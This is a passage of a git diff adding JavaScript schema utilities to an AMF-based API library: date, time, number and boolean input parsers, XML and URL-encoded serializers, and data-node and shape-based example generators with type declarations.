+   * @param {any} input
+   * @returns {string|undefined} 
+   */
+  static parseTimeOnlyInput(input) {
+    const value = String(input).trim();
+    if (/^\d\d:\d\d$/.test(value)) {
+      return `${value}:00`;
+    }
+    if (/^\d\d:\d\d:\d\d$/.test(value)) {
+      return value;
+    }
+    return undefined;
+  }
+
+  /**
+   * Processes a value that should be a date formatted in one of the supported formats:
+   * - rfc3339 (default): 2016-02-28T16:41:41.090Z
+   * - rfc2616: Sun, 28 Feb 2016 16:41:41 GMT
+   * @param {any} value
+   * @param {string=} format
+   * @returns {string|undefined} 
+   */
+  static parseDateTimeInput(value, format='rfc3339') {
+    const d = new Date(value);
+    if (Number.isNaN(d.getTime())) {
+      return undefined;
+    }
+    if (format === 'rfc2616') {
+      return d.toUTCString();
+    }
+    // OAS has the `date-time` format describing rfc3339.
+    if (['rfc3339', 'date-time'].includes(format)) {
+      return d.toISOString();
+    }
+    return undefined;
+  }
+
+  /**
+   * Processes a value that should be a date formatted as yyyy-MM-ddThh:mm
+   * @param {any} value
+   * @returns {string|undefined} 
+   */
+  static parseDateTimeOnlyInput(value) {
+    const d = new Date(value);
+    if (Number.isNaN(d.getTime())) {
+      return undefined;
+    }
+    const jsonDate = d.toJSON(); // "yyyy-MM-ddThh:mm:ss.090Z"
+    const dot = jsonDate.indexOf('.');
+    return jsonDate.substr(0, dot);
+  }
+
+  /**
+   * Parses the the value according to array schema value.
+   * @param {any} value
+   * @param {ApiArrayShape} schema
+   * @returns {string|number|boolean|null|undefined}
+   */
+  static parseArrayInput(value, schema) {
+    const { items } = schema;
+    if (!items) {
+      return String(value);
+    }
+    return ApiSchemaValues.parseUserInput(value, items);
+  }
+
+  /**
+   * Parses the user entered value according to the schema definition.
+   * @param {any} value
+   * @param {ApiShapeUnion} schema
+   * @returns {string|number|boolean|null|undefined}
+   */
+  static parseUserInput(value, schema) {
+    if (!schema || value === undefined || value === null) {
+      return value;
+    }
+    const { types } = schema;
+    if (types.includes(ns.aml.vocabularies.shapes.ScalarShape)) {
+      return ApiSchemaValues.parseScalarInput(value, /** @type ApiScalarShape */ (schema));
+    }
+    if (types.includes(ns.aml.vocabularies.shapes.ArrayShape) || types.includes(ns.aml.vocabularies.shapes.MatrixShape)) {
+      return ApiSchemaValues.parseArrayInput(value, /** @type ApiArrayShape */ (schema));
+    }
+    return value;
+  }
+
+  /**
+   * Parses the user entered value as scalar value.
+   * @param {any} value
+   * @param {ApiScalarShape} schema
+   * @returns {string|number|boolean|null|undefined}
+   */
+  static parseScalarInput(value, schema) {
+    switch (schema.dataType) {
+      // AML shapes, for Shape
+      case ns.aml.vocabularies.shapes.number:
+      case ns.aml.vocabularies.shapes.integer:
+      case ns.aml.vocabularies.shapes.float:
+      case ns.aml.vocabularies.shapes.long:
+      case ns.aml.vocabularies.shapes.double:
+      case ns.w3.xmlSchema.number:
+      case ns.w3.xmlSchema.integer:
+      case ns.w3.xmlSchema.float:
+      case ns.w3.xmlSchema.long:
+      case ns.w3.xmlSchema.double: return ApiSchemaValues.parseNumberInput(value);
+      case ns.aml.vocabularies.shapes.boolean:
+      case ns.w3.xmlSchema.boolean: return ApiSchemaValues.parseBooleanInput(value);
+      case ns.w3.xmlSchema.date: return ApiSchemaValues.parseDateOnlyInput(value);
+      case ns.w3.xmlSchema.time: return ApiSchemaValues.parseTimeOnlyInput(value);
+      case ns.w3.xmlSchema.dateTime: return ApiSchemaValues.parseDateTimeInput(value, schema.format);
+      case ns.aml.vocabularies.shapes.dateTimeOnly: return ApiSchemaValues.parseDateTimeOnlyInput(value);
+      default: return String(value);
+    }
+  }
+}
diff --git a/src/schema/Utils.js b/src/schema/Utils.js
new file mode 100644
index 0000000..3f414df
--- /dev/null
+++ b/src/schema/Utils.js
@@ -0,0 +1,203 @@
+import { ns } from "../helpers/Namespace.js";
+
+/** @typedef {import('../helpers/api').ApiShapeUnion} ApiShapeUnion */
+/** @typedef {import('../helpers/api').ApiNodeShape} ApiNodeShape */
+/** @typedef {import('../helpers/api').ApiPropertyShape} ApiPropertyShape */
+/** @typedef {import('../helpers/api').ApiUnionShape} ApiUnionShape */
+
+/**
+   * @param {any} obj
+   * @param {number=} indent The current indent
+   * @return {string} 
+   */
+export function toXml(obj, indent=0) {
+  if (typeof obj !== 'object') {
+    return obj;
+  }
+  let xml = '';
+  const tabs = new Array(indent).fill('  ').join('');
+  Object.keys(obj).forEach((prop) => {
+    xml += Array.isArray(obj[prop]) ? '' : `${tabs}<${prop}>`;
+    if (Array.isArray(obj[prop])) {
+      obj[prop].forEach((item) => {
+        xml += `<${prop}>\n`;
+        xml += tabs;
+        xml += toXml({ ...item }, indent + 1);
+        xml += `</${prop}>\n`;
+      });
+    } else if (typeof obj[prop] === "object") {
+      xml += `\n`;
+      xml += toXml({ ...obj[prop] }, indent + 1);
+    } else {
+      xml += `${obj[prop]}`;
+    }
+    xml += Array.isArray(obj[prop]) ? '' : `</${prop}>\n`;
+  });
+  xml = xml.replace(/<\/?[0-9]{1,}>/g, '');
+  return xml
+}
+
+/**
+ * @param {string} fill The fill value (spaces to put in front of the value)
+ * @param {any} value The value to format
+ * @returns {string}
+ */
+export function formatXmlValue(fill, value) {
+  const typed = String(value);
+  const parts = typed.split('\n').filter(i => !!i);
+  const formatted = parts.map(i => `${fill}${i}`).join('\n');
+  return formatted;
+}
+
+/**
+ * @param {string} str A key or value to encode as x-www-form-urlencoded.
+ * @param {boolean=} replacePlus When set it replaces `%20` with `+`.
+ * @returns {string} .
+ */
+export function wwwFormUrlEncode(str, replacePlus=false) {
+  // Spec says to normalize newlines to \r\n and replace %20 spaces with +.
+  // jQuery does this as well, so this is likely to be widely compatible.
+  if (str === undefined) {
+    return '';
+  }
+  let result = encodeURIComponent(String(str).replace(/\r?\n/g, '\r\n'));
+  if (replacePlus) {
+    result = result.replace(/%20/g, '+');
+  }
+  return result;
+}
+
+/**
+ * Processes a value that should be a number.
+ * @param {any} value
+ * @param {number=} [defaultValue=undefined]
+ * @returns {number|undefined} 
+ */
+export function parseNumberInput(value, defaultValue=undefined) {
+  if (typeof value === 'number') {
+    return value;
+  }
+  const n = Number(value);
+  if (Number.isNaN(n)) {
+    return defaultValue;
+  }
+  return n;
+}
+
+/**
+ * Processes a value that should be a number.
+ * @param {any} value
+ * @param {boolean=} [defaultValue=undefined]
+ * @returns {boolean|undefined} 
+ */
+export function parseBooleanInput(value, defaultValue=undefined) {
+  const type = typeof value;
+  if (type === 'boolean') {
+    return value;
+  }
+  if (type === 'string') {
+    const trimmed = value.trim();
+    if (trimmed === 'true') {
+      return true;
+    }
+    if (trimmed === 'false') {
+      return false;
+    }
+  }
+  return defaultValue;
+}
+
+/**
+ * Casts the `value` to the corresponding data type
+ * @param {any} value
+ * @param {string} type The w3 schema type
+ * @returns {any} 
+ */
+export function readTypedValue(value, type) {
+  if (value === undefined || value === null) {
+    return value;
+  }
+  switch (type) {
+    case ns.aml.vocabularies.shapes.number:
+    case ns.aml.vocabularies.shapes.integer:
+    case ns.aml.vocabularies.shapes.float:
+    case ns.aml.vocabularies.shapes.long:
+    case ns.aml.vocabularies.shapes.double:
+    case ns.w3.xmlSchema.number:
+    case ns.w3.xmlSchema.integer:
+    case ns.w3.xmlSchema.float:
+    case ns.w3.xmlSchema.long:
+    case ns.w3.xmlSchema.double: return parseNumberInput(value, 0);
+    case ns.aml.vocabularies.shapes.boolean:
+    case ns.w3.xmlSchema.boolean: return parseBooleanInput(value, false);
+    case ns.aml.vocabularies.shapes.nil:
+    case ns.w3.xmlSchema.nil: 
+      return null;
+    default:
+      return value;
+  }
+}
+
+/**
+ * Picks the union member to render.
+ * @param {ApiShapeUnion[]} anyOf The list of union members
+ * @param {string[]=} [selectedUnions=[]] Optional list of domain ids of currently selected unions. When set is returns a member that is "selected" or the first member otherwise.
+ * @returns {ApiShapeUnion}
+ */
+export function getUnionMember(anyOf, selectedUnions=[]) {
+  let renderedItem = /** @type ApiShapeUnion */ (null);
+  if (Array.isArray(selectedUnions) && selectedUnions.length) {
+    renderedItem = anyOf.find((item) => selectedUnions.includes(item.id));
+  }
+  if (!renderedItem) {
+    [renderedItem] = anyOf;
+  }
+  return renderedItem;
+}
+
+/**
+ * @param {ApiNodeShape} schema
+ * @param {string[]=} [selectedUnions=[]]
+ * @returns {ApiPropertyShape[]}
+ */
+export function collectNodeProperties(schema, selectedUnions) {
+  /** @type ApiPropertyShape[] */
+  let result = [];
+  const { properties, inherits } = schema;
+  if (properties.length) {
+    result = [...properties];
+  }
+  if (Array.isArray(inherits) && inherits.length) {
+    inherits.forEach((s) => {
+      let node = s;
+      if (node.types.includes(ns.aml.vocabularies.shapes.UnionShape)) {
+        const union = /** @type ApiUnionShape */ (node);
+        const { anyOf=[] } = union;
+        node = getUnionMember(anyOf, selectedUnions);
+      }
+      if (!node.types.includes(ns.w3.shacl.NodeShape)) {
+        return;
+      }
+      const typed = /** @type ApiNodeShape */ (node);
+      // const p = typed.properties;
+      // if (Array.isArray(p) && p.length) {
+      //   result = result.concat(p);
+      // }
+      const upper = collectNodeProperties(typed);
+      if (upper.length) {
+        result = result.concat(upper)
+      }
+    });
+  }
+  /** @type ApiPropertyShape[] */
+  const merged = [];
+  result.forEach((item) => {
+    const existing = merged.find(i => i.name === item.name);
+    if (existing) {
+      // this should (?) merge properties from the two.
+      return;
+    }
+    merged.push(item);
+  });
+  return merged;
+}
diff --git a/src/schema/data-node/DataNodeBase.js b/src/schema/data-node/DataNodeBase.js
new file mode 100644
index 0000000..58d0ad4
--- /dev/null
+++ b/src/schema/data-node/DataNodeBase.js
@@ -0,0 +1,87 @@
+/* eslint-disable class-methods-use-this */
+import { ns } from "../../helpers/Namespace.js";
+import { readTypedValue } from '../Utils.js';
+
+/** @typedef {import('../../helpers/api').ApiObjectNode} ApiObjectNode */
+/** @typedef {import('../../helpers/api').ApiArrayNode} ApiArrayNode */
+/** @typedef {import('../../helpers/api').ApiScalarNode} ApiScalarNode */
+/** @typedef {import('../../helpers/api').ApiDataNode} ApiDataNode */
+
+/**
+ * Base class for all schema generators based on AMF's DataNode which includes AMF's examples.
+ */
+export class DataNodeBase {
+  /**
+   * @param {ApiDataNode} node The AMF data node to turn into a schema.
+   * @returns {any|undefined} Undefined when passed non-DataNode domain element.
+   */
+  processNode(node) {
+    const { types } = node;
+    if (types.includes(ns.aml.vocabularies.data.Scalar)) {
+      return this.processScalarNode(/** @type ApiScalarNode */ (node));
+    }
+    if (types.includes(ns.aml.vocabularies.data.Array)) {
+      return this.processArrayNode(/** @type ApiArrayNode */ (node));
+    }
+    if (types.includes(ns.aml.vocabularies.data.Object)) {
+      return this.processObjectNode(/** @type ApiObjectNode */ (node));
+    }
+    return undefined;
+  }
+
+  /**
+   * @param {ApiScalarNode} scalar The scalar node to process.
+   * @returns {any} Scalar value.
+   */
+  processScalarNode(scalar) {
+    return readTypedValue(scalar.value, scalar.dataType);
+  }
+
+  /**
+   * @param {ApiArrayNode} array The array node to process.
+   * @returns {any[]} Array value.
+   */
+  processArrayNode(array) {
+    const container = [];
+    array.members.forEach((member) => {
+      const result = this.processNode(member);
+      if (typeof result !== 'undefined') {
+        container.push(result);
+      }
+    });
+    return container;
+  }
+
+  /**
+   * @param {ApiObjectNode} object The object node to process.
+   * @returns {any} Object value.
+   */
+  processObjectNode(object) {
+    const container = {};
+    const { properties } = object;
+    Object.keys(properties).forEach((key) => {
+      const definition = properties[key];
+      const result = this.processNode(definition);
+      if (typeof result !== 'undefined') {
+        const name = this.normalizePropertyName(key);
+        container[name] = result;
+      }
+    });
+    return container;
+  }
+
+  /**
+   * Normalizes a property name. It decodes URL encoded values.
+   * @param {string} name The property name to normalize
+   * @returns {string}
+   */
+  normalizePropertyName(name) {
+    let result = name;
+    try {
+      result = decodeURIComponent(result)
+    } catch (e) {
+      // ...
+    }
+    return result;
+  }
+}
diff --git a/src/schema/data-node/JsonDataNodeGenerator.js b/src/schema/data-node/JsonDataNodeGenerator.js
new file mode 100644
index 0000000..ba04818
--- /dev/null
+++ b/src/schema/data-node/JsonDataNodeGenerator.js
@@ -0,0 +1,26 @@
+/* eslint-disable class-methods-use-this */
+import { DataNodeBase } from './DataNodeBase.js';
+
+/** @typedef {import('../../helpers/api').ApiDataNode} ApiDataNode */
+
+/**
+ * A class that processes AMF's `structuredValue` into a JSON example.
+ */
+export class JsonDataNodeGenerator extends DataNodeBase {
+  /**
+   * Generates a JSON schema from the AMF's DataNode.
+   * 
+   * @param {ApiDataNode} node The AMF's data node to transform into a schema.
+   * @returns {string|undefined} Undefined when passed non-DataNode domain element.
+   */
+  generate(node) {
+    const result = this.processNode(node);
+    if (!result) {
+      return result;
+    }
+    if (typeof result === 'string') {
+      return result;
+    }
+    return JSON.stringify(result, null, 2);
+  }
+}
diff --git a/src/schema/data-node/README.md b/src/schema/data-node/README.md
new file mode 100644
index 0000000..98e2d34
--- /dev/null
+++ b/src/schema/data-node/README.md
@@ -0,0 +1,3 @@
+# Data node based schema generators
+
+In this directory you will find libraries to generate a schema from AMF generated examples (DataNode).
diff --git a/src/schema/data-node/UrlEncodedDataNodeGenerator.js b/src/schema/data-node/UrlEncodedDataNodeGenerator.js
new file mode 100644
index 0000000..e919db7
--- /dev/null
+++ b/src/schema/data-node/UrlEncodedDataNodeGenerator.js
@@ -0,0 +1,47 @@
+/* eslint-disable class-methods-use-this */
+import { wwwFormUrlEncode } from '../Utils.js';
+import { DataNodeBase } from './DataNodeBase.js';
+
+/** @typedef {import('../../helpers/api').ApiDataNode} ApiDataNode */
+
+export class UrlEncodedDataNodeGenerator extends DataNodeBase {
+  /**
+   * Generates a JSON example from the structured value.
+   * @param {ApiDataNode} node The AMF's data node to transform into a schema.
+   * @param {string=} shapeName When provided it wraps the returned value with the shape name.
+   * @returns {string|undefined} Undefined when passed non-DataNode domain element.
+   */
+  generate(node, shapeName) {
+    const result = this.processNode(node);
+    const isArray = Array.isArray(result);
+    if (shapeName && (typeof result !== 'object' || isArray)) {
+      if (isArray) {
+        return /** @type any[] */ (result).map(v => `${shapeName}[]=${v}`).filter(v => !!v).join('&');
+      }
+      return `${shapeName}=${result}`;
+    }
+    return this.createUrlEncoded(result);
+  }
+
+  /**
+   * @param {any} obj
+   * @returns {string} 
+   */
+  createUrlEncoded(obj) {
+    if (typeof obj !== 'object') {
+      return String(obj);
+    }
+    const parts = Object.keys(obj).map((key) => {
+      let value = obj[key];
+      if (typeof value === 'object' && value !== null) {
+        value = this.createUrlEncoded(value);
+      } else if (value) {
+        value = wwwFormUrlEncode(value, true);
+      } else if (value === null) {
+        value = 'null';
+      }
+      return `${key}=${value}`;
+    });
+    return parts.join('&');
+  }
+}
diff --git a/src/schema/data-node/XmlDataNodeGenerator.js b/src/schema/data-node/XmlDataNodeGenerator.js
new file mode 100644
index 0000000..07ef667
--- /dev/null
+++ b/src/schema/data-node/XmlDataNodeGenerator.js
@@ -0,0 +1,31 @@
+/* eslint-disable class-methods-use-this */
+import { DataNodeBase } from './DataNodeBase.js';
+import { toXml } from '../Utils.js';
+
+/** @typedef {import('../../helpers/api').ApiDataNode} ApiDataNode */
+/** @typedef {import('../../helpers/api').ApiShapeUnion} ApiShapeUnion */
+/**
+ * A class that processes AMF's `structuredValue` into an XML example.
+ */
+export class XmlDataNodeGenerator extends DataNodeBase {
+  /**
+   * Generates a JSON example from the structured value.
+   * 
+   * @param {ApiDataNode} node The AMF's data node to transform into a schema.
+   * @param {string=} shapeName When provided it wraps the returned value with the shape name.
+   * @returns {string|undefined} Undefined when passed non-DataNode domain element.
+   */
+  generate(node, shapeName) {
+    const result = this.processNode(node);
+    if (!result) {
+      return result;
+    }
+    if (shapeName) {
+      if (Array.isArray(result)) {
+        return result.map(v => `<${shapeName}>${v}</${shapeName}>`).filter(v => !!v).join('\n');
+      }
+      return `<${shapeName}>${result}</${shapeName}>`;
+    }
+    return toXml(result);
+  }
+}
diff --git a/src/schema/shape/README.md b/src/schema/shape/README.md
new file mode 100644
index 0000000..c4e472b
--- /dev/null
+++ b/src/schema/shape/README.md
@@ -0,0 +1,4 @@
+# Shape based schema generators
+
+In this directory you will find libraries to generate a schema from AMF shapes.
+This generates a schema taking shape properties into the account.
diff --git a/src/schema/shape/ShapeBase.d.ts b/src/schema/shape/ShapeBase.d.ts
new file mode 100644
index 0000000..ecd30db
--- /dev/null
+++ b/src/schema/shape/ShapeBase.d.ts
@@ -0,0 +1,70 @@
+import { ApiAnyShape, ApiArrayShape, ApiExample, ApiFileShape, ApiNodeShape, ApiPropertyShape, ApiScalarShape, ApiSchemaShape, ApiShapeUnion, ApiTupleShape, ApiUnionShape } from '../../helpers/api';
+import { Time } from '@pawel-up/data-mock';
+import { ShapeRenderOptions } from '../../types.js';
+
+export const scalarShapeObject: unique symbol;
+export const nilShapeObject: unique symbol;
+export const nodeShapeObject: unique symbol;
+export const unionShapeObject: unique symbol;
+export const fileShapeObject: unique symbol;
+export const schemaShapeObject: unique symbol;
+export const arrayShapeObject: unique symbol;
+export const tupleShapeObject: unique symbol;
+export const anyShapeObject: unique symbol;
+export const propertyShapeObject: unique symbol;
+export const exampleToObject: unique symbol;
+// export const dataTypeToExample: unique symbol;
+export const scalarValue: unique symbol;
+export const isNotRequiredUnion: unique symbol;
+
+/**
+ * A base class for generators that generates a schema from AMF's shape definition.
+ */
+export abstract class ShapeBase {
+  opts: Readonly<ShapeRenderOptions>;
+  time: Time;
+  
+  constructor(opts?: ShapeRenderOptions);
+
+  /**
+   * Generates a schema from AMF's shape.
+   * 
+   * @param schema The Shape definition
+   * @returns The generated example
+   */
+  abstract generate(schema: ApiShapeUnion): string|undefined;
+
+  /**
+   * Serializes generated values into the final mime type related form.
+   * 
+   * @returns The generated example
+   */
+  abstract serialize(value: any): string|undefined;
+  [scalarValue](schema: ApiScalarShape): string|number|boolean;
+
+  /**
+   * Checks whether the union represents a scalar + nil which is equivalent 
+   * to having scalar that is not required.
+   * 
+   * See more about nil values in RAML:
+   * https://github.com/raml-org/raml-spec/blob/master/versions/raml-10/raml-10.md#nil-type
+   * 
+   * @param union The list of unions in the shape
+   */
+  [isNotRequiredUnion](union: ApiShapeUnion[]): boolean;
+
+  /**
+   * @param example The example to turn into a JS object
+   */
+  abstract [exampleToObject](example: ApiExample): any;
+  abstract [scalarShapeObject](schema: ApiScalarShape): any;
+  abstract [nilShapeObject](schema: ApiScalarShape): any;
+  abstract [nodeShapeObject](schema: ApiNodeShape): any;
+  abstract [unionShapeObject](schema: ApiUnionShape): any;
+  abstract [fileShapeObject](schema: ApiFileShape): any;
+  abstract [schemaShapeObject](schema: ApiSchemaShape): any;
+  abstract [arrayShapeObject](schema: ApiArrayShape): any;
+  abstract [tupleShapeObject](schema: ApiTupleShape): any;
+  abstract [anyShapeObject](schema: ApiAnyShape): any;
+  abstract [propertyShapeObject](schema: ApiPropertyShape): any;
+}
diff --git a/src/schema/shape/ShapeBase.js b/src/schema/shape/ShapeBase.js
new file mode 100644
index 0000000..f1f8d28
--- /dev/null
+++ b/src/schema/shape/ShapeBase.js
@@ -0,0 +1,278 @@
+/* eslint-disable max-classes-per-file */
+/* eslint-disable no-unused-vars */
+/* eslint-disable class-methods-use-this */
+import { Time } from '@pawel-up/data-mock';
+import { ns } from "../../helpers/Namespace.js";
+import { ApiSchemaValues } from '../ApiSchemaValues.js';
+import { JsonDataNodeGenerator } from '../data-node/JsonDataNodeGenerator.js';
+
+/** @typedef {import('../../helpers/api').ApiShapeUnion} ApiShapeUnion */
+/** @typedef {import('../../helpers/api').ApiScalarShape} ApiScalarShape */
+/** @typedef {import('../../helpers/api').ApiNodeShape} ApiNodeShape */
+/** @typedef {import('../../helpers/api').ApiUnionShape} ApiUnionShape */
+/** @typedef {import('../../helpers/api').ApiFileShape} ApiFileShape */
+/** @typedef {import('../../helpers/api').ApiSchemaShape} ApiSchemaShape */
+/** @typedef {import('../../helpers/api').ApiArrayShape} ApiArrayShape */
+/** @typedef {import('../../helpers/api').ApiTupleShape} ApiTupleShape */
+/** @typedef {import('../../helpers/api').ApiAnyShape} ApiAnyShape */
+/** @typedef {import('../../helpers/api').ApiPropertyShape} ApiPropertyShape */
+/** @typedef {import('../../helpers/api').ApiExample} ApiExample */
+/** @typedef {import('../../helpers/api').ApiScalarNode} ApiScalarNode */
+/** @typedef {import('../../types').ShapeRenderOptions} ShapeRenderOptions */
+
+export const scalarShapeObject = Symbol('scalarShapeObject');
+export const nilShapeObject = Symbol('nilShapeObject');
+export const nodeShapeObject = Symbol('nodeShapeObject');
+export const unionShapeObject = Symbol('unionShapeObject');
+export const fileShapeObject = Symbol('fileShapeObject');
+export const schemaShapeObject = Symbol('schemaShapeObject');
+export const arrayShapeObject = Symbol('arrayShapeObject');
+export const tupleShapeObject = Symbol('tupleShapeObject');
+export const anyShapeObject = Symbol('anyShapeObject');
+export const propertyShapeObject = Symbol('propertyShapeObject');
+export const exampleToObject = Symbol('exampleToObject');
+// export const dataTypeToExample = Symbol('dataTypeToExample');
+export const scalarValue = Symbol('scalarExampleValue');
+export const isNotRequiredUnion = Symbol('isNotRequiredUnion');
+
+/**
+ * A base class for generators that generates a schema from AMF's shape definition.
+ */
+export class ShapeBase {
+  /**
+   * @param {ShapeRenderOptions=} opts
+   */
+  constructor(opts={}) {
+    /**
+     * @type Readonly<ShapeRenderOptions>
+     */
+    this.opts = Object.freeze({ ...opts });
+
+    this.time = new Time();
+  }
+
+  /**
+   * Generates a schema from AMF's shape.
+   * @abstract
+   * @param {ApiShapeUnion} schema The Shape definition
+   * @returns {string|undefined} The generated example
+   */
+  generate(schema) {
+    return undefined;
+  }
+
+  /**
+   * Serializes generated values into the final mime type related form.
+   * @abstract
+   * @param {any} value
+   * @returns {string|undefined} The generated example
+   */
+  serialize(value) {
+    return undefined;
+  }
+
+  // /**
+  //  * Transforms a scalar data type to a corresponding default example value.
+  //  * @param {string} dataType The data type namespace value
+  //  * @param {string=} format The data format
+  //  * @return {string|number|boolean} 
+  //  */
+  // [dataTypeToExample](dataType, format) {
+  //   switch (dataType) {
+  //     case ns.w3.xmlSchema.string: return '';
+  //     case ns.w3.xmlSchema.number: 
+  //     case ns.w3.xmlSchema.float: 
+  //     case ns.w3.xmlSchema.double: 
+  //     case ns.w3.xmlSchema.integer: 
+  //     case ns.w3.xmlSchema.long: 
+  //     return 0;
+  //     case ns.w3.xmlSchema.boolean: return false;
+  //     case ns.w3.xmlSchema.nil: return null;
+  //     case ns.w3.xmlSchema.date: return this.time.dateOnly();
+  //     case ns.w3.xmlSchema.dateTime: return this.time.dateTime(/** @type {"rfc3339" | "rfc2616"} */ (format));
+  //     case ns.aml.vocabularies.shapes.dateTimeOnly: return this.time.dateTimeOnly();
+  //     case ns.w3.xmlSchema.time: return this.time.timeOnly();
+  //     case ns.w3.xmlSchema.base64Binary: return '';
+  //     default: return undefined;
+  //   }
+  // }
+
+  /**
+   * @param {ApiScalarShape} schema
+   * @returns {string|number|boolean}
+   */
+  [scalarValue](schema) {
+    const { defaultValue, examples, values, inherits, dataType } = schema;
+    // check the default value
+    if (!this.opts.renderExamples && defaultValue) {
+      const gen = new JsonDataNodeGenerator();
+      const processed = gen.processNode(defaultValue);
+      // return ApiSchemaValues.readTypedValue(processed, dataType);
+      return processed;
+    }
+    // check examples
+    if (this.opts.renderExamples && examples && examples.length) {
+      const example = examples.find((item) => !!item.value);
+      const value = this[exampleToObject](example);
+      if (typeof value !== 'undefined') {
+        return ApiSchemaValues.readTypedValue(value, dataType);
+      }
+    }
+    // check enum values
+    if (values && values.length) {
+      const typed = /** @type ApiScalarNode */ (values[0]);
+      if (typed.value !== undefined) {
+        return ApiSchemaValues.readTypedValue(typed.value, dataType);
+      }
+    }
+    // check parents
+    if (Array.isArray(inherits) && inherits.length) {
+      for (let i = 0, len = inherits.length; i < len; i+=1) {
+        const result = this[scalarValue](/** @type ApiScalarShape */ (inherits[i]));
+        if (result !== undefined) {
+          return result;
+        }
+      }
+    }
+    // return this[dataTypeToExample](dataType, format);
+    // create a default value.
+    return ApiSchemaValues.generateDefaultValue(schema);
+  }
+
+  /**
+   * Checks whether the union represents a scalar + nil which is equivalent 
+   * to having scalar that is not required.
+   * 
+   * See more about nil values in RAML:
+   * https://github.com/raml-org/raml-spec/blob/master/versions/raml-10/raml-10.md#nil-type
+   * 
+   * @param {ApiShapeUnion[]} union The list of unions in the shape
+   * @returns {boolean}
+   */
+  [isNotRequiredUnion](union) {
+    let scalars = 0;
+    let hasNil = false;
+
+    union.forEach((i) => {
+      if (i.types.includes(ns.aml.vocabularies.shapes.NilShape)) {
+        hasNil = true;
+      } else if (i.types.includes(ns.aml.vocabularies.shapes.ScalarShape)) {
+        const scalar = /** @type ApiScalarShape */ (i);
+        if (scalar.dataType === ns.w3.xmlSchema.nil) {
+          hasNil = true;
+        } else {
+          scalars += 1;
+        }
+      } else if (i.types.includes(ns.aml.vocabularies.shapes.FileShape)) {
+        scalars += 1;
+      }
+    });
+    if (!hasNil) {
+      return false;
+    }
+    // size of union minus the nil union
+    if (scalars === union.length - 1) {
+      return true;
+    }
+    return false;
+  }
+
+  /**
+   * @abstract
+   * @param {ApiExample} example The example to turn into a JS object
+   * @returns {any}
+   */
+  [exampleToObject](example) {
+    return undefined;
+  }
+
+  /**
+   * @abstract
+   * @param {ApiScalarShape} schema
+   * @returns {any}
+   */
+  [scalarShapeObject](schema) {
+    return undefined;
+  }
+
+  /**
+   * @abstract
+   * @param {ApiScalarShape} schema
+   * @returns {any}
+   */
+  [nilShapeObject](schema) {
+    return undefined;
+  }
+
+  /**
+   * @abstract
+   * @param {ApiNodeShape} schema
+   * @returns {any}
+   */
+  [nodeShapeObject](schema) {
+    return undefined;
+  }
+
+  /**
+   * @abstract
+   * @param {ApiUnionShape} schema
+   * @returns {any}
+   */
+  [unionShapeObject](schema) {
+    return undefined;
+  }
+
+  /**
+   * @abstract
+   * @param {ApiFileShape} schema
+   * @returns {any}
+   */
+  [fileShapeObject](schema) {
+    return undefined;
+  }
+
+  /**
+   * @abstract
+   * @param {ApiSchemaShape} schema
+   * @returns {any}
+   */
+  [schemaShapeObject](schema) {
+    return undefined;
+  }
+
+  /**
+   * @abstract
+   * @param {ApiArrayShape} schema
+   * @returns {any}
+   */
+  [arrayShapeObject](schema) {
+    return undefined;
+  }
+
+  /**
+   * @abstract
+   * @param {ApiTupleShape} schema
+   * @returns {any}
+   */
+  [tupleShapeObject](schema) {
+    return undefined;
+  }
+
+  /**
+   * @abstract
+   * @param {ApiAnyShape} schema
+   * @returns {any}
+   */
+  [anyShapeObject](schema) {
+    return undefined;
+  }
+
+  /**
+   * @abstract
+   * @param {ApiPropertyShape} schema
+   * @returns {any}
+   */
+  [propertyShapeObject](schema) {
+    return undefined;
+  }
+}
diff --git a/src/schema/shape/ShapeJsonSchemaGenerator.d.ts b/src/schema/shape/ShapeJsonSchemaGenerator.d.ts
new file mode 100644
index 0000000..972ab04
--- /dev/null
+++ b/src/schema/shape/ShapeJsonSchemaGenerator.d.ts
@@ -0,0 +1,61 @@
+import { ApiAnyShape, ApiArrayShape, ApiDataNodeUnion, ApiExample, ApiFileShape, ApiNodeShape, ApiPropertyShape, ApiScalarShape, ApiSchemaShape, ApiShapeUnion, ApiTupleShape, ApiUnionShape } from '../../helpers/api';
+import { 
+  ShapeBase,
+  scalarShapeObject,
+  nodeShapeObject,
+  unionShapeObject,
+  fileShapeObject,
+  schemaShapeObject,
+  arrayShapeObject,
+  tupleShapeObject,
+  anyShapeObject,
+  propertyShapeObject,
+  exampleToObject,
+  nilShapeObject,
+} from './ShapeBase.js';
+
+export const unionDefaultValue: unique symbol;
+
+export declare class ShapeJsonSchemaGenerator extends ShapeBase {
+  /**
+   * Generates a schema from AMF's shape.
+   * 
+   * @param schema The Shape definition
+   */
+  generate(schema: ApiShapeUnion): string|undefined;
+
+  /**
+   * Processes the Shape definition and returns a JavaScript object or array.
+   */
+  toObject(schema: ApiShapeUnion): any;
+  serialize(value: any): string|undefined;
+  [scalarShapeObject](schema: ApiScalarShape): any|undefined;
+  [nilShapeObject](schema: ApiScalarShape): any|undefined;
+  /**
+   * @todo: render examples, when available, first.
+   */
+  [nodeShapeObject](schema: ApiNodeShape): object;
+  [unionShapeObject](schema: ApiUnionShape): any;
+
+  /**
+   * @param union The list of unions in the shape
+   * @param defaultValue The definition of a default value.
+   */
+  [unionDefaultValue](union: ApiShapeUnion[], defaultValue: ApiDataNodeUnion): any|undefined;
+  [arrayShapeObject](schema: ApiArrayShape): any[];
+  [tupleShapeObject](schema: ApiTupleShape): any;
+  [anyShapeObject](schema: ApiAnyShape): any;
+
+  /**
+   * @returns The value for the property or undefined when cannot generate the value.
+   */
+  [propertyShapeObject](schema: ApiPropertyShape): any|undefined;
+
+  /**
+   * @param example The example to turn into a JS object
+   */
+  [exampleToObject](example: ApiExample): any;
+
+  [fileShapeObject](schema: ApiFileShape): any;
+  [schemaShapeObject](schema: ApiSchemaShape): any;
+}
diff --git a/src/schema/shape/ShapeJsonSchemaGenerator.js b/src/schema/shape/ShapeJsonSchemaGenerator.js
new file mode 100644
index 0000000..542a2b3
--- /dev/null
+++ b/src/schema/shape/ShapeJsonSchemaGenerator.js
@@ -0,0 +1,396 @@
+/* eslint-disable no-unused-vars */
+/* eslint-disable class-methods-use-this */
+import { ns } from "../../helpers/Namespace.js";
+import { 
+  ShapeBase,
+  scalarShapeObject,
+  nilShapeObject,
+  nodeShapeObject,
+  unionShapeObject,
+  fileShapeObject,
+  schemaShapeObject,
+  arrayShapeObject,
+  tupleShapeObject,
+  anyShapeObject,
+  scalarValue,
+  propertyShapeObject,
+  exampleToObject,
+  isNotRequiredUnion,
+} from './ShapeBase.js';
